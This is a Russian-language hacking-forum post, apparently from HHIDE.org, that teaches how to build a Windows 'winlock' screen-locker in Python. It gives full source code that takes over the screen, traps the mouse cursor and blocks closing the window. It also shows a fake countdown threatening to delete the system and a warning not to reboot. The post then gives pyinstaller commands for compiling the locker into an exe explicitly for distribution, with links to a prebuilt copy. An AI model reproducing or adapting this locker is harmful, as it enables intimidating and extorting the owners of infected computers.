Stupid Developer
Гость
S
Stupid Developer
Гость
В данной статье мы рассмотрим как написать винлок на Python'e.
Для него нам понадобятся 3 библиотеки:
Задаём нужные нам переменные:
Создаём функцию, благодаря которой наш экран будет блокироваться:
Теперь создадим функцию, которая будет проверять наш пароль на валидность:
Создадим наше основное окно винлока, присвоим ей нужные нам объекты и расположим их в нужном нам месте:
Теперь нам нужно обновить экран и сделать клик по нашей кнопке:
А теперь создадим цикл, благодаря которому наш винлокер не будет закрываться, до тех пор, пока пользователь не введёт верный пароль:
Вот и всё. Наш Winlock готов, осталось скомпилить его в exe файл, чтобы его можно было распространять.
Для этого нам нужна библиотека pyinstaller
Установка библиотеки:
Данную команду нужно ввести в cmd
После чего нам нужно перейти в папку с самим винлоком и ввести такую команду:
Флаги, которые можно использовать при компиляции:
-F - компилит всё в один файл
-i - если мы хотим сделать наш файл с нашей иконкой
-w - блочит консоль( в нашем случае нам она не нужна)
Исходники: туть
Уже скомпиленный файл(запускайте на свой страх и риск): туть
Есть еще парочка тем, которые я мог бы сюда написать(не моих), на нашем форуме я их ещё не видел. Если кому интересно отпишитесь, я продолжу
P.S. Данную тему я скопипастил, но т.к. на нашем форуме я её не наблюдал, решил залить её сюда. Код писал свой, не копировал с другого источника!
Для него нам понадобятся 3 библиотеки:
- pygame
- pyautogui
- tkinter
Python:
import pyautogui
import pygame
from tkinter import *
Python:
reading = '' #переменная в которую пользователь будет вводить пароль
password = 'hhide' #переменная в которой храниться правильный пароль, в нашем случае это "hhide"
time = 7200 # счётчик времени, в основном для красоты :)
delete = 'Удаление системы...' #текст который присваивается этой переменной будет отображаться по истечению счётчика
Python:
def block(): #создаём функцию, благодаря которой будет блокироваться мышь
pyautogui.click(x=675, y=405)#благодаря циклу который мы напишем позже мышь будет кликать в данной позиции на экране
pyautogui.moveTo(x=675, y=405)#так же благодаря циклу, мышь будет постоянно находиться в данной позиции
screen.protocol("WM_DELETE_WINDOW",block)#блокируем комбинации клавиш alf+f4, fn+f4, f4
screen.update()#обновление нашего окна
Python:
def password_check(event):#создаём функцию, которая проверяет пароль на валидность
global reading#объявляем глобальную переменную - reading
reading = field.get()#присваиваем переменной значение: field - так будет называться наше окно ввода пароля, .get - считывание из этого поля информации, тоесть пароля
if reading == password:#если в поле ввели правильный пароль, который указан в нашей переменной password, то наш винлокер выключается
screen.destroy()#закрытие нашего окна винлока
Python:
screen = Tk()#создаем главное окно
screen.title('Windows locked. by HHIDE.org')#задаём название нашему окну
screen.attributes('-fullscreen', True)#Задаём аттрибут окна - fullscreen(полный экран)
screen.configure(backgroun = '#1c1c1c')#задаём фон нашего главного окна
pyautogui.FAILSAFE = False#отключаем остановку работы библиотеки pyautogui, если пользователь дёргает мышью(если не отключать, библиотека прекратит свою работу)
field = Entry(screen,fg = "green",justify=CENTER)#создаём поле ввода, которое присваивается к главному окну - screen, цвет текста - зелёный, располагается по центру
but = Button(screen,text = "Разблокировать")#создаём кнопку
text0 = Label(screen,text = "Ваша система заблокирована!",font="TimesNewRoman 30",fg="white",bg="#1c1c1c")#создём надпись
text = Label(screen,text = "Stupid Developer HHIDE.org",font="TimesNewRoman 30",fg="#32CD32",bg="#1c1c1c")#ещё одна надпись
text1 = Label(screen,text = "Не перезагружайте компьютер, это удалит вашу систему!",font = "TimesNewRoman 16",fg="red",bg="#1c1c1c")#и ещё одна надпись, для запугивания
l = Label(text = time,font = "Arial 22",fg="red",bg="#1c1c1c")#та же самая надпись, только здесь будет тот самый счётчик, который мы создали ранее
l1 = Label(text = "До удаления системы осталось: ",fg="white",bg="#1c1c1c",font="Arial 15")#обычная надпись, располагается рядом с нашим счётчиком
but.bind('<Button-1>',password_check)#при нажатии кнопки она вызывает функцию проверки пароля
text.place(x=380,y=180)#указываем координаты наших ранее созданных объектов
field.place(width=150,height=50,x=600,y=300)#здесь тоже
but.place(width=150,height=50,x=600,y=380)#и здесь
text0.place(x=410,y=100)#да-да, и здесь
text1.place(x=410,y=250)#и тут
l1.place(x=20,y=70)#и тут тоже
l.place(x=20,y=100)#а ещё вот тут
Python:
screen.update()#обновление нашего главного окна
pyautogui.click(x=675,y=325)#клик в координатах x y
pyautogui.moveTo(x=660,y=410)#перемещение мышки в х у
Python:
while reading!=password:#тот самый цикл, о котором я говорил ранее. Пока наше текстовое поле не будет равно password, он будет выполняться
l.configure(text=time)
screen.after(300)#задержка в 300 мсек
if time==0:#если счётчик дошёл до 0:
time=delete#то вместо счётчика появляется та самая надпись, которую мы указали в переменной delete
if time!=delete:#если счётчик не равен той надписи, которую мы указали в delete:
time=time-1#то от счётчика будет отниматься по единице, тоесть он будет тикать0)0))
block()#вызываем функцию, которую мы указали в самом начале, для блокировки экрана
Для этого нам нужна библиотека pyinstaller
Установка библиотеки:
Код:
pip install pyinstaller
После чего нам нужно перейти в папку с самим винлоком и ввести такую команду:
Код:
pyinstaller -F lock.py
-F - компилит всё в один файл
-i - если мы хотим сделать наш файл с нашей иконкой
-w - блочит консоль( в нашем случае нам она не нужна)
Исходники: туть
Уже скомпиленный файл(запускайте на свой страх и риск): туть
Есть еще парочка тем, которые я мог бы сюда написать(не моих), на нашем форуме я их ещё не видел. Если кому интересно отпишитесь, я продолжу
P.S. Данную тему я скопипастил, но т.к. на нашем форуме я её не наблюдал, решил залить её сюда. Код писал свой, не копировал с другого источника!